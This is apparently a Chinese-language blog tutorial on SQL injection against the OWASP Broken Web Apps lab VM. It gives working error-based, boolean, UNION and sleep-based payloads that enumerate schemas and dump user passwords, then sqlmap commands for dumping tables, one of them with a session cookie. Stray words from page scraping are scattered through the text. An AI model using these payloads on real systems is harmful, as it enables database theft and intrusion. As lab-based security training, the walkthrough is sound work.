在owasp年度top 10 安全问题中,注入高居榜首。SQL注入攻击指的是经过构建特殊的输入做为参数传入Web应用程序, 而这些输入大都是SQL语法里的一些组合,经过执行SQL语句进而执行攻击者所要的操做,其主要缘由是程序没有细致地 过滤用户输入的数据,导致非法数据侵入系统。php
目标靶机:OWASP_Broken_Web_Apps_VM_1.2
下载地址
测试渗透机:Kali-Linux-2018.2-vm-amd64
下载地址mysql
一、拖库致使用户数据泄漏; 二、危害web等应用的安全; 三、失去操做系统的控制权; 四、用户信息被非法买卖; 五、危害企业及国家的安全!
1. 判断是否有SQL注入漏洞; 2. 判断操做系统、数据库和web应用的类型; 3. 获取数据库信息,包括管理员信息及拖库; 4. 加密信息破解,sqlmap可自动破解; 5. 提高权限,得到sql-shell、os-shell、登陆应用后台;
错误注入的思路是经过构造特殊的sql语句,根据获得的错误信息,确认sql注入点; 经过数据库报错信息,也能够探测到数据库的类型和其余有用信息。
经过输入单引号,触发数据库异常,经过异常日志诊断数据库类型,例如这里是MySQL数据库。
linux
SQL注入语句解析: mysql> select first_name,last_name from dvwa.users; mysql> select first_name,last_name from dvwa.users where user_id='1'; #你输入1 至关于在最后的两个单引号中间插入一个1来执行mysql的查询语句
怎么样判断咱们是否能够注入呢?
会发生页面报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1web
SQL注入语句解析: mysql> select first_name,last_name from dvwa.users where user_id='''
这就表明此网站咱们能够注入,有注入点。sql
这里面用到的是or,布尔逻辑注入的思路是闭合SQL语句,构造or逻辑语句、注释多余的代码
shell
注入语句: ' or 1=1 -- ' 原始语句: mysql> select first_name,last_name from dvwa.users where user_id='' SQL注入语句解析: ' or 1=1 -- ' mysql> select first_name,last_name from dvwa.users where user_id=' ' or 1=1 -- ' ' 说明: 第一个' 用于闭合前面的条件 or 1=1 为真的条件 -- 将注释后面的全部语句 仔细看where user_id=' ' or 1=1 -- ' ' 这个条件语句 user_id=' ' 这个语句确定是假的,由于咱们的ID是阿拉伯数字,而这里面是空,因此为假 可是1=1 这个语句确定为真 -- ' ' 是注释的意思,也就说后面的不用管 or 表示有一个条件为真就是真 那总得来讲这个where语句必定为真 整个语句的意思是从dvwa库的users表里面查询first_name,last_name两个字段的全部内容
UNION语句用于联合前面的SELECT查询语句,合并查询更多信息; 通常经过错误和布尔注入确认注入点以后,便开始经过union语句来获取有效信息。 //猜想数据列数 ' union select 1 -- ' ' union select 1,2 -- ' ' union select 1,2,3 -- ' ' union select 1,2,3,4 -- ' SQL注入语句解析: mysql> select first_name,last_name from dvwa.users where user_id='' union select 1 -- '' mysql> select first_name,last_name from dvwa.users where user_id='' union select 1,2 -- '' //union是咱们注入经常使用的方式,里面的1,2,3 表明的是字段名,union语句查询的时候,先后的 字段数量必须相同,因此咱们能够用数字表明字段,来猜想union以前的语句中有几个字段。这里 显然只有两个字段。
你查询的不必定非要是字段,也能够是版本,表之类的 //得到当前数据库及用户信息 'union select version(), database() -- ' 'union select user(), database() -- ' //查询全部库名 'union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables -- ' #这里面的1 只是一个列的代替,没有什么含义,可是若是你缺了这个1 先后列数量不同会报错的 //查看所库中全部表名 'union select table_name, 1 from INFORMATION_SCHEMA.tables -- ' //同时查询表名及对应库名 'union select TABLE_SCHEMA, table_name from INFORMATION_SCHEMA.tables -- ' //查询数据列 'union select NULL, user from users -- ' 'union select NULL, password from users -- ' 'union select user, password from users -- ' 'union select NULL, GRANTEE from USER_PRIVILEGES -- ' 由于union前面只有两个字段,那咱们想要查询多个字段怎么办? 用mysql自带的函数concat(),如 'union select password, concat(first_name,' ',last_name,' ',user) from users -- '
有些数据库对错误信息作了安全配置,使得没法经过以上方式探测到注入点,此时,经过设置sleep语句来探测注入点。数据库
1' and sleep(5) -- ' SQL注入语句解析: mysql> select first_name,last_name from dvwa.users where user_id='1' and sleep(5) -- ''
SQL注入比较好用的工具,首推开源工具SQLmap。SQLmap是一个国内外著名的安全稳定性测试工具,能够用来进行自动 化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具备功能强大的检测引擎,针对各类不一样类型数据库的安全稳 定性测试的功能选项,包括获取数据库中存储的数据,访问操做系统文件甚至能够经过外带数据链接的方式执行操做系 统命令。 SQLmap支持MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB等数据库的各类安全漏洞检测。安全
打开kali,用户名root 密码toor
查看帮助咱们发现咱们须要获取到网页的url
而后咱们把该网页的链接复制下来在kali里面进行测试服务器
root@kali:~# sqlmap -u "http://192.168.13.144/mutillidae/index.php?page=user-info.php&username=yjssjm&password=123&user-info-php-submit-button=View+Account+Details"
sqlmap参数解析: --users #全部用户 --current-user #当前用户 --dbs #全部库 --current-db #当前库 -D "database_name" --tables #指定库名 -D "database_name" -T "table_name" --columns #指定库名和表名 --dump-all #全部的内容 --dump-all --exclude-sysdbs -D "database_name" -T "table_name" --dump -D "database_name" -T "table_name" -C "username, password" --dump #-C 指定字段 --batch //自动化完成 示例步骤: 1. 得到当前数据库 root@kali:~# sqlmap -u "你本身的url" --batch --current-db 2. 得到数据库表 root@kali:~# sqlmap -u "你本身的url" --batch -D nowasp --tables 3. 得到表的字段 root@kali:~# sqlmap -u "你本身的url" --batch -D nowasp -T accounts --columns 4. 得到表中的数据 root@kali:~# sqlmap -u "你本身的url" --batch -D nowasp -T accounts -C "username, password" --dump
须要带cookie才能访问的注入页面,--cookie=""
cookie
root@kali:~# sqlmap -u "http://192.168.13.144/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#" --cookie="security=low; PHPSESSID=ehqbg9j6di70nk4ku6fm187co1; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" --batch
参数跟get获取的参数同样,就是post须要用url+cookie
大家的评论和点赞是我写文章的最大动力,蟹蟹。